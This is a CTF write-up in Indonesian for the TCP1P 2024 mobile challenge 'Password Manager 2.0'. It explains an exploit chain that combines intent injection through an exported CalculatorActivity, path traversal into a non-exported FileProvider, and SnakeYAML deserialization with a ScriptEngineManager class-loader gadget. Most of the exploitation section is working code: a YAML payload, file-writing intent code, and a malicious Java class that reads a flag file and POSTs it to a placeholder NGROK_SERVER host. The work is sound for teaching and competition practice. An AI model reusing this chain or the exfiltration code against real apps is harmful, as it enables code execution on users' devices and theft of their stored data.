TCP1P 2024: Mobile Writeup

TCP1P 2024: Mobile Writeup

lbyte.id MVP++

Team: MAGER / Vantage Point Security
Rank: 5/1110

Password Manager 2.0

Overview

Challenge ini adalah sebuah aplikasi Password Manager yang memiliki sebuah activity bernama CalculatorActivity. Activity ini melakukan operasi matematika sederhana dan memiliki intent yang exported="true", yang berarti dapat diakses oleh aplikasi lain tanpa memerlukan permission.


Pada activity ini terdapat sebuah exception yang terjadi ketika melakukan pembagian dengan angka 0. Exception ini dapat digunakan untuk bypass operasi matematika yang seharusnya dilakukan. Ketika exception terjadi, dia akan melakukan setResult(-1, i) yang dimana nilai i adalah Intent i = getIntent();, yang memungkinkan kita untuk melakukan intent injection.


Dengan memanfaatkan bug ini, kita dapat menulis ke content provider untuk membuat file pwds.yml dan mal.apk di folder /files/. File pwds.yml akan diload oleh snakeyaml, yang memiliki kemampuan untuk melakukan deserialization. Kita dapat memanfaatkan deserialization ini untuk menjalankan gadget dari ScriptEngineManager, yang dapat dikombinasikan dengan CustomClassLoader dalam mal.apk. Hal ini memungkinkan kita untuk melakukan remote code execution pada aplikasi ini dengan meload mal.apk yang telah kita buat.


Description

It’s a Password Manager, what could go wrong (again)?


The infrastructure being used is based on our Mobile POC Tester (https://github.com/TCP1P/Mobile-POC-Tester ).
You will need to create your exploit application that will be executed in the server.
You can check client_dist.py for more information on how the automation for this challenge runs.

POC Tester: http://45.32.119.201:5000/

Analysis

Kita diberikan file sebagai berikut:

  • challenge.apk
  • client_dist.py

Kalian bisa mengakses filenya pada link ini .

APK-nya adalah aplikasi Password Manager. Kita bisa mendekompilasi menggunakan jadx untuk melihat kode sumbernya. Aplikasi ini hanya memiliki password manager didalamnya yang dimana ketika kita melakukan Happy Flow pada aplikasinya, kita bisa memasukan kata sandi baru kedalam aplikasi ini dan nantinya kata sandi itu akan disimpan pada internal storage pada android kita.

Struktur dari aplikasi ini adalah sebagai berikut:

Dengan AndroidManifest.xml sebagai berikut:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
<?xml version="1.0" encoding="utf-8"?>
<manifest xmlns:android="http://schemas.android.com/apk/res/android" android:versionCode="2" android:versionName="2.0" android:compileSdkVersion="23" android:compileSdkVersionCodename="6.0-2438415" package="com.aimardcr.pwdmanager" platformBuildVersionCode="23" platformBuildVersionName="6.0-2438415">
<uses-sdk android:minSdkVersion="24" android:targetSdkVersion="33"/>
<uses-permission android:name="android.permission.INTERNET"/>
<permission android:name="com.aimardcr.pwdmanager.DYNAMIC_RECEIVER_NOT_EXPORTED_PERMISSION" android:protectionLevel="signature"/>
<uses-permission android:name="com.aimardcr.pwdmanager.DYNAMIC_RECEIVER_NOT_EXPORTED_PERMISSION"/>
<application android:theme="@style/Theme.NotesManager" android:label="@string/app_name" android:icon="@mipmap/ic_launcher" android:name="com.aimardcr.pwdmanager.MainApplication" android:debuggable="true" android:allowBackup="false" android:supportsRtl="true" android:extractNativeLibs="true" android:usesCleartextTraffic="true" android:networkSecurityConfig="@xml/network_security_config" android:roundIcon="@mipmap/ic_launcher" android:appComponentFactory="androidx.core.app.CoreComponentFactory">
<activity android:theme="@style/Theme.NotesManager.NoActionBar" android:label="@string/app_name" android:name="com.aimardcr.pwdmanager.MainActivity" android:exported="true">
<intent-filter>
<action android:name="android.intent.action.MAIN"/>
<category android:name="android.intent.category.LAUNCHER"/>
</intent-filter>
</activity>
<activity android:theme="@style/Theme.NotesManager.NoActionBar" android:label="DevActivity" android:name="com.aimardcr.pwdmanager.CalculatorActivity" android:exported="true"/>
<provider android:name="com.aimardcr.pwdmanager.providers.MyFileProvider" android:enabled="true" android:exported="false" android:authorities="com.aimardcr.pwdmanager" android:grantUriPermissions="true">
<meta-data android:name="android.support.FILE_PROVIDER_PATHS" android:resource="@xml/file_paths"/>
</provider>
<provider android:name="androidx.startup.InitializationProvider" android:exported="false" android:authorities="com.aimardcr.pwdmanager.androidx-startup">
<meta-data android:name="androidx.emoji2.text.EmojiCompatInitializer" android:value="androidx.startup"/>
<meta-data android:name="androidx.lifecycle.ProcessLifecycleInitializer" android:value="androidx.startup"/>
<meta-data android:name="androidx.profileinstaller.ProfileInstallerInitializer" android:value="androidx.startup"/>
</provider>
<uses-library android:name="androidx.window.extensions" android:required="false"/>
<uses-library android:name="androidx.window.sidecar" android:required="false"/>
<receiver android:name="androidx.profileinstaller.ProfileInstallReceiver" android:permission="android.permission.DUMP" android:enabled="true" android:exported="true" android:directBootAware="false">
<intent-filter>
<action android:name="androidx.profileinstaller.action.INSTALL_PROFILE"/>
</intent-filter>
<intent-filter>
<action android:name="androidx.profileinstaller.action.SKIP_FILE"/>
</intent-filter>
<intent-filter>
<action android:name="androidx.profileinstaller.action.SAVE_PROFILE"/>
</intent-filter>
<intent-filter>
<action android:name="androidx.profileinstaller.action.BENCHMARK_OPERATION"/>
</intent-filter>
</receiver>
</application>
</manifest>

SnakeYAML Deserialization Vulnerability

Ketika kita perhatikan pada activity com.aimardcr.pwdmanager.ui.pwd.PwdFragment kita bisa melihat bahwa dia menggunakan snakeyaml untuk load file pwds.yml:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
void updatePasswordList() {
File file = new File(getContext().getFilesDir(), "pwds.yml");
if (!file.exists()) {
return;
}
try {
InputStream inputStream = new FileInputStream(file);
Yaml yaml = new Yaml(new Constructor(Map.class));
Object data = yaml.load(inputStream);
if (data != null) {
List<Map<String, Object>> passwordDataList = (List) ((Map) data).get("passwords");
final List<Password> passwordList = new ArrayList<>();
for (Map<String, Object> passwordData : passwordDataList) {
int id = ((Integer) passwordData.get("id")).intValue();
String applicationName = (String) passwordData.get("application");
String username = (String) passwordData.get("username");
String password = (String) passwordData.get("password");
Password pwd = new Password(id, applicationName, username, password);
passwordList.add(pwd);
}
PwdAdapter passwordsAdapter = new PwdAdapter(getContext(), (Password[]) passwordList.toArray(new Password[0]));
passwordsAdapter.setOnPasswordClickedListener(new OnPwdClickedListener() { // from class: com.aimardcr.pwdmanager.ui.pwd.PwdFragment.1
@Override // com.aimardcr.pwdmanager.ui.pwd.OnPwdClickedListener
public void onPasswordClick(int position) {
Password password2 = (Password) passwordList.get(position);
PwdFragment.this.showPasswordDialog(password2);
}

@Override // com.aimardcr.pwdmanager.ui.pwd.OnPwdClickedListener
public void onPasswordLongClick(int position) {
Password password2 = (Password) passwordList.get(position);
PwdFragment.this.showDeletePasswordDialog(password2);
}
});
this.binding.passwordList.setAdapter(passwordsAdapter);
}
} catch (IOException e) {
e.printStackTrace();
Snackbar.make(this.binding.getRoot(), "An error occurred while loading passwords.", 0).show();
}
}

Dia tidak menggunakan SafeConstructor yang dimana bisa membatasi class yang bisa di-deserialize. Jadi kita bisa melakukan deserialization gadget chaining untuk melakukan remote code execution. Tetapi kita tidak tahu bagaimana cara write file pwds.yml ini.

Content Provider

Kita bisa melihat bahwa aplikasi ini memiliki sebuah content provider yang bisa kita akses dengan content://com.aimardcr.pwdmanager:

1
<provider android:name="com.aimardcr.pwdmanager.providers.MyFileProvider" android:enabled="true" android:exported="false" android:authorities="com.aimardcr.pwdmanager" android:grantUriPermissions="true">

Tapi kita tidak bisa mengakses content provider ini karena exported="false", yang artinya content provider ini hanya bisa diakses oleh aplikasi ini sendiri.

CalculatorActivity

Jika kita melihat AndroidManifest.xml, kita bisa melihat bahwa aplikasi ini memiliki activity yang bernama CalculatorActivity yang dimana memiliki exported="true":

1
<activity android:theme="@style/Theme.NotesManager.NoActionBar" android:label="DevActivity" android:name="com.aimardcr.pwdmanager.CalculatorActivity" android:exported="true"/>

exported="true" artinya bahwa activity tersebut bisa diakses oleh aplikasi lain tanpa memerlukan permission. Hal ini merupakan risiko keamanan karena aplikasi lain bisa menjalankan activity ini tanpa memerlukan permission.

Berikut ini adalah source code dari CalculatorActivity:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
package com.aimardcr.pwdmanager;

import android.app.Activity;
import android.content.Intent;
import android.os.Bundle;

/* loaded from: classes3.dex */
public class CalculatorActivity extends Activity {
@Override // android.app.Activity
public void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_calculator);
Intent i = getIntent();
try {
int left = i.getIntExtra("left", 4);
int right = i.getIntExtra("right", 2);
char operator = i.getCharExtra("operator", '+');
int result = 0;
switch (operator) {
case '*':
result = left * right;
break;
case '+':
result = left + right;
break;
case '-':
result = left - right;
break;
case '/':
result = left / right;
break;
}
setResult(0, new Intent().putExtra("result", result));
} catch (Exception e) {
setResult(-1, i);
}
finish();
}
}

Seperti yang bisa kita lihat pada kode diatas, CalculatorActivity menerima 3 parameter: left, right, dan operator. Kemudian melakukan perhitungan berdasarkan operator dan mereturn hasilnya. Hasilnya kemudian dikirim kembali ke caller activity.

Tapi ada sebuah exception yang dimana jika kita melakukan pembagian dengan angka 0, maka akan terjadi exception dan dia akan mereturn setResult(-1, i) yang dimana nilai i adalah Intent i = getIntent();, yang memungkinkan kita untuk melakukan intent injection.

CustomClassLoader

Kita bisa melihat bahwa aplikasi ini memiliki sebuah class yang bernama CustomClassLoader yang dimana bisa kita gunakan untuk melakukan load class dari apk yang kita buat:

1
2
3
4
5
6
7
8
9
10
package com.aimardcr.pwdmanager;

import dalvik.system.PathClassLoader;

/* loaded from: classes3.dex */
public class CustomClassLoader extends PathClassLoader {
public CustomClassLoader(String dexPath) {
super(dexPath, PathClassLoader.getSystemClassLoader());
}
}

Tapi ini hanya bisa melakukan load saja dan tidak bisa melakukan execute class yang kita load.

ScriptEngineManager

Kita bisa melihat bahwa aplikasi ini memiliki library javax.script yang dimana bisa kita gunakan untuk melakukan execute class yang kita load, karena didalam argument dari ScriptEngineManager dia menerima ClassLoader:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
public ScriptEngineManager(ClassLoader loader) {
init(loader);
}

private void init(final ClassLoader loader) {
this.globalScope = new SimpleBindings();
this.engineSpis = new HashSet<>();
this.nameAssociations = new HashMap<>();
this.extensionAssociations = new HashMap<>();
this.mimeTypeAssociations = new HashMap<>();
AccessController.doPrivileged(new PrivilegedAction() { // from class: javax.script.ScriptEngineManager.1
@Override // java.security.PrivilegedAction
public Object run() {
ScriptEngineManager.this.initEngines(loader);
return null;
}
});
}

public void initEngines(ClassLoader loader) {
Iterator itr;
try {
if (loader != null) {
itr = Service.providers(ScriptEngineFactory.class, loader);
} else {
itr = Service.installedProviders(ScriptEngineFactory.class);
}
while (itr.hasNext()) {
try {
try {
ScriptEngineFactory fact = (ScriptEngineFactory) itr.next();
this.engineSpis.add(fact);
} catch (ServiceConfigurationError err) {
System.err.println("ScriptEngineManager providers.next(): " + err.getMessage());
}
} catch (ServiceConfigurationError err2) {
System.err.println("ScriptEngineManager providers.hasNext(): " + err2.getMessage());
return;
}
}
} catch (ServiceConfigurationError err3) {
System.err.println("Can't find ScriptEngineFactory providers: " + err3.getMessage());
}
}

Dari kode diatas, kita bisa melihat bahwa ScriptEngineManager menerima ClassLoader sebagai argument dan dia akan melakukan invoke dari class yang kita load dari ClassLoader tersebut.

Pada bagian initEngines ini, CustomClassLoader akan digunakan untuk mencari dan memuat semua class yang mengimplementasikan ScriptEngineFactory. Jika salah satu class dalam mal.apk mengimplementasikan interface tersebut, maka constructor dari class tersebut akan dipanggil saat baris berikut dieksekusi:

1
ScriptEngineFactory fact = itr.next();

Berikut ini kode dari ScriptEngineFactory:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
package javax.script;

import java.util.List;

/* loaded from: classes.dex */
public interface ScriptEngineFactory {
String getEngineName();

String getEngineVersion();

List<String> getExtensions();

String getLanguageName();

String getLanguageVersion();

String getMethodCallSyntax(String str, String str2, String... strArr);

List<String> getMimeTypes();

List<String> getNames();

String getOutputStatement(String str);

Object getParameter(String str);

String getProgram(String... strArr);

ScriptEngine getScriptEngine();
}

Yang berarti kita perlu membuat constructor yang akan menerapkan interface ScriptEngineFactory dan mengimplementasikan semua metode yang diperlukan, dan kemudian memanggil CustomClassLoader didalam ScriptEngineManager untuk meng-eksekusi constructor tersebut.

1
new ScriptEngineManager(new CustomClassLoader("mal.apk"));

Kode diatas akan memuat semua class yang mengimplementasikan ScriptEngineFactory dari mal.apk dan memanggil constructor dari class tersebut.

Exploitation

Dari CalculatorActivity Ini bisa kita manfaatkan untuk mengakses content provider yang sebelumnya tidak bisa kita akses. Kita bisa membypass content provider yang memiliki exported="false" dengan menggunakan FLAG_GRANT_WRITE_URI_PERMISSION untuk write file dan atau FLAG_GRANT_READ_URI_PERMISSION untuk read file pada intent yang kita kirimkan.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
private void startIntentYAML() {
Intent intent = new Intent("android.intent.action.SEND");
intent.setClassName("com.aimardcr.pwdmanager", "com.aimardcr.pwdmanager.CalculatorActivity");
intent.putExtra("operator", '/');
intent.putExtra("right", 0);
intent.setData(Uri.parse("content://com.aimardcr.pwdmanager/%2E%2E/files/pwds.yml"));
intent.addFlags(Intent.FLAG_GRANT_WRITE_URI_PERMISSION | Intent.FLAG_GRANT_READ_URI_PERMISSION);
startActivityForResult(intent, 1);
}

@Override
protected void onActivityResult(int requestCode, int resultCode, @Nullable Intent data) {
super.onActivityResult(requestCode, resultCode, data);

if (data != null) {
Uri uri = data.getData();
if (uri != null) {
if (requestCode == 1 && resultCode == RESULT_OK) {
Log.d(": LOG - Malicious :", "Received data from first intent: " + uri);
readYAML(uri);
writeYAML(uri);
}
} else {
Log.d(": LOG - Malicious :", "No URI received.");
}
} else {
Log.d(": LOG - Malicious :", "Intent data is null.");
}
}

public void readYAML(Uri uri) {
try {
ContentResolver contentResolver = this.getContentResolver();
StringBuilder stringBuilder = new StringBuilder();
InputStream inputStream = contentResolver.openInputStream(uri);
BufferedReader reader = new BufferedReader(new InputStreamReader(inputStream));

String line;
while ((line = reader.readLine()) != null) {
stringBuilder.append(line).append("\n");
}

reader.close();
Log.d(": LOG - Malicious :", "RESULT: " + stringBuilder.toString());
} catch (Exception e) {
e.printStackTrace();
}
}

public void writeYAML(Uri uri) {
try {
ContentResolver contentResolver = this.getContentResolver();
OutputStream outputStream = contentResolver.openOutputStream(uri);

String yamlPayload =
"\npayload: !!javax.script.ScriptEngineManager [!!com.aimardcr.pwdmanager.CustomClassLoader [\"/data/data/com.aimardcr.pwdmanager/files/mal.apk\"]]\n";

outputStream.write(yamlPayload.getBytes());
outputStream.close();
} catch (Exception e) {
e.printStackTrace();
}
}

Dapat diperhatikan bahwa kita menggunakan FLAG_GRANT_WRITE_URI_PERMISSION untuk menulis file pwds.yml dan FLAG_GRANT_READ_URI_PERMISSION untuk membaca file pwds.yml.
Dan kita bisa melihat bahwa kita menulis payload yaml yang dimana akan di-load oleh SnakeYAML:

1
payload: !!javax.script.ScriptEngineManager [!!com.aimardcr.pwdmanager.CustomClassLoader ["mal.apk"]]

Payload ini akan melakukan load class dari mal.apk yang mengimplementasikan ScriptEngineFactory dan kemudian memanggil constructor dari class tersebut.

Kemudian kita bisa membuat mal.apk yang mengimplementasikan ScriptEngineFactory:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
package com.lbyte.pwdmanager_exp;

import javax.script.ScriptEngine;
import javax.script.ScriptEngineFactory;
import java.io.*;
import java.net.HttpURLConnection;
import java.net.URL;
import java.nio.file.*;
import java.util.Arrays;
import java.util.List;

public class BadScriptEngineFactory implements ScriptEngineFactory {

// Static block to trigger the exploit and send the flag
static {
try {
sendRequest("http://NGROK_SERVER/trigger");
System.out.println("Triggered the exploit");

String flagContent = readFlagFile("/data/data/com.aimardcr.pwdmanager/files/");
if (flagContent != null) {
sendFlagToServer("http://NGROK_SERVER/flag", flagContent);
}
} catch (Exception e) {
e.printStackTrace();
}
}

// Function to send HTTP GET request
private static void sendRequest(String urlString) throws Exception {
URL url = new URL(urlString);
HttpURLConnection connection = (HttpURLConnection) url.openConnection();
connection.setRequestMethod("GET");
connection.setConnectTimeout(5000);
connection.setReadTimeout(5000);

int responseCode = connection.getResponseCode();
System.out.println("Request sent, response code: " + responseCode);
connection.disconnect();
}

// Function to read the flag file
private static String readFlagFile(String directoryPath) {
try {
Path dir = Paths.get(directoryPath);
try (DirectoryStream<Path> stream = Files.newDirectoryStream(dir, "flag*.txt")) {
for (Path entry : stream) {
return new String(Files.readAllBytes(entry)); // Return the first match
}
}
} catch (IOException e) {
System.err.println("Failed to read flag file: " + e.getMessage());
}
return null;
}

// Function to send the flag content to the server
private static void sendFlagToServer(String serverUrl, String flagContent) throws Exception {
URL url = new URL(serverUrl);
HttpURLConnection connection = (HttpURLConnection) url.openConnection();
connection.setRequestMethod("POST");
connection.setDoOutput(true);
connection.setRequestProperty("Content-Type", "application/x-www-form-urlencoded");

try (OutputStream os = connection.getOutputStream()) {
String data = "flag=" + flagContent;
os.write(data.getBytes());
os.flush();
}

int responseCode = connection.getResponseCode();
System.out.println("Flag sent, response code: " + responseCode);
connection.disconnect();
}

@Override
public String getEngineName() {
return "BadScriptEngine";
}

@Override
public String getEngineVersion() {
return "1.0";
}

@Override
public List<String> getExtensions() {
return Arrays.asList("bad", "exploit");
}

@Override
public List<String> getMimeTypes() {
return Arrays.asList("application/x-bad", "application/x-exploit");
}

@Override
public List<String> getNames() {
return Arrays.asList("badscript", "exploitlang");
}

@Override
public String getLanguageName() {
return "ExploitLang";
}

@Override
public String getLanguageVersion() {
return "1.0";
}

@Override
public Object getParameter(String key) {
switch (key) {
case ScriptEngine.ENGINE:
return getEngineName();
case ScriptEngine.ENGINE_VERSION:
return getEngineVersion();
case ScriptEngine.LANGUAGE:
return getLanguageName();
case ScriptEngine.LANGUAGE_VERSION:
return getLanguageVersion();
case ScriptEngine.NAME:
return getNames().get(0);
case "THREADING":
return "MULTITHREADED";
default:
return null;
}
}

@Override
public String getMethodCallSyntax(String obj, String m, String... args) {
StringBuilder syntax = new StringBuilder(obj + "." + m + "(");
for (int i = 0; i < args.length; i++) {
syntax.append(args[i]);
if (i < args.length - 1) syntax.append(", ");
}
syntax.append(")");
return syntax.toString();
}

@Override
public String getOutputStatement(String toDisplay) {
return "System.out.println(\"" + toDisplay + "\");";
}

@Override
public String getProgram(String... statements) {
StringBuilder program = new StringBuilder();
for (String statement : statements) {
program.append(statement).append(";\n");
}
return program.toString();
}

@Override
public ScriptEngine getScriptEngine() {
return null;
}
}

Dapat diperhatikan pada kode diatas bahwa kita melakukan HTTP GET request ke http://NGROK_SERVER/trigger dan membaca file flag yang berawalan flag dan mengirimkan isinya ke http://NGROK_SERVER/flag.

Tetapi hal yang paling penting adalah dikode diatas melakukan implementasi dari ScriptEngineFactory yang dimana akan dipanggil oleh ScriptEngineManager untuk melakukan remote code execution.

Kemudian kita bisa merubah hasil build dari mal.apk dengan menggunakan apktool lalu rubah isi dari META-INF/services/javax.script.ScriptEngineFactory menjadi com.lbyte.mal.BadScriptEngineFactory dan kemudian kita rebuild apk tersebut, agar ketika dijalankan ScriptEngineManager akan memanggil class BadScriptEngineFactory yang kita buat.

Selanjutnya adalah untuk melakukan write mal.apk ini ke dalam folder /files/, kita bisa mengconvert file mal.apk ini ke dalam hex dan kemudian menconvert kembali hexnya ke dalam binary dan kemudian menulisnya ke dalam file mal.apk, berikut ini python scriptnya:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
import sys

def convert(filepath, output_hex, part_size=5000):
try:
with open(filepath, 'rb') as inputfile:
dex_content = inputfile.read()

hex_content = dex_content.hex()
hex_parts = [hex_content[i:i + part_size] for i in range(0, len(hex_content), part_size)]

with open(output_hex, 'w') as java_file:
for index, part in enumerate(hex_parts, 1):
java_file.write(f'String hexContentPart{index} = "{part}";\n')

concatenation = " + ".join([f"hexContentPart{i}" for i in range(1, len(hex_parts) + 1)])
java_file.write(f'\nString fullHexContent = {concatenation};\n')

print(f"Successfully generated code in {output_hex}")
except Exception as e:
print(f"Error: {e}")

if len(sys.argv) != 3:
print(f"Usage: python {sys.argv[0]} <input_binary> <output_hex>")
sys.exit(1)

inputfile = sys.argv[1]
java_file = sys.argv[2]
convert(inputfile, java_file)

Terus tinggal paste hasil dari script diatas ke dalam solver untuk write file mal.apk ini:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
private void startIntentAPK() {
Intent writeIntent = new Intent("android.intent.action.SEND");
writeIntent.setClassName("com.aimardcr.pwdmanager", "com.aimardcr.pwdmanager.CalculatorActivity");
writeIntent.putExtra("operator", '/');
writeIntent.putExtra("right", 0);
writeIntent.setData(Uri.parse("content://com.aimardcr.pwdmanager/%2E%2E/files/mal.apk"));
writeIntent.addFlags(Intent.FLAG_GRANT_WRITE_URI_PERMISSION | Intent.FLAG_GRANT_READ_URI_PERMISSION);

startActivityForResult(writeIntent, 2);
}

@Override
protected void onActivityResult(int requestCode, int resultCode, @Nullable Intent data) {
super.onActivityResult(requestCode, resultCode, data);

if (data != null) {
Uri uri = data.getData();
if (uri != null) {
if (requestCode == 2 && resultCode == RESULT_OK) {
Log.d(": LOG - Malicious :", "Writing malicious APK to: " + uri);
writeMaliciousAPK(uri);
}
} else {
Log.d(": LOG - Malicious :", "No URI received.");
}
} else {
Log.d(": LOG - Malicious :", "Intent data is null.");
}
}

public void writeMaliciousAPK(Uri uri) {
try {
// Example hex string representing the APK content
String hexContentPart1 = "504b03040a0000000000...";
String hexContentPart2 = "00000000000000000000...";

String fullHexContent = hexContentPart1 + hexContentPart2;

// Convert hex to byte array
byte[] apkBytes = hexStringToByteArray(fullHexContent);

// Optionally write to the original URI as well
ContentResolver contentResolver = this.getContentResolver();
OutputStream outputStream = contentResolver.openOutputStream(uri);
if (outputStream != null) {
outputStream.write(apkBytes);
outputStream.close();
Log.d(": LOG - Malicious :", "Binary APK written to the provided URI");
}
} catch (Exception e) {
e.printStackTrace();
}
}

Berikut ini repository untuk full solver dari challenge ini:

  • Repo untuk melakukan write file pwds.yml dan mal.apk: write-files .
  • Repo untuk membuat mal.apk yang mengimplementasikan ScriptEngineFactory: malicious-apk .

Dan berikut ini adalah build dari kedua repo diatas:

Interfaces

Overview

Description

Analysis

Exploitation

LookDown

Overview

Description

Analysis

Exploitation

LookUp

Overview

Description

Analysis

Exploitation

  • Title: TCP1P 2024: Mobile Writeup
  • Author: lbyte.id
  • Created at : 2024-10-15 04:28:06
  • Updated at : 2024-10-15 17:44:54
  • Link: https://lbyte.id/2024/10/15/writeup/TCP1P 2024: Mobile Writeup/
  • License: This work is licensed under CC BY-NC-SA 4.0.
Comments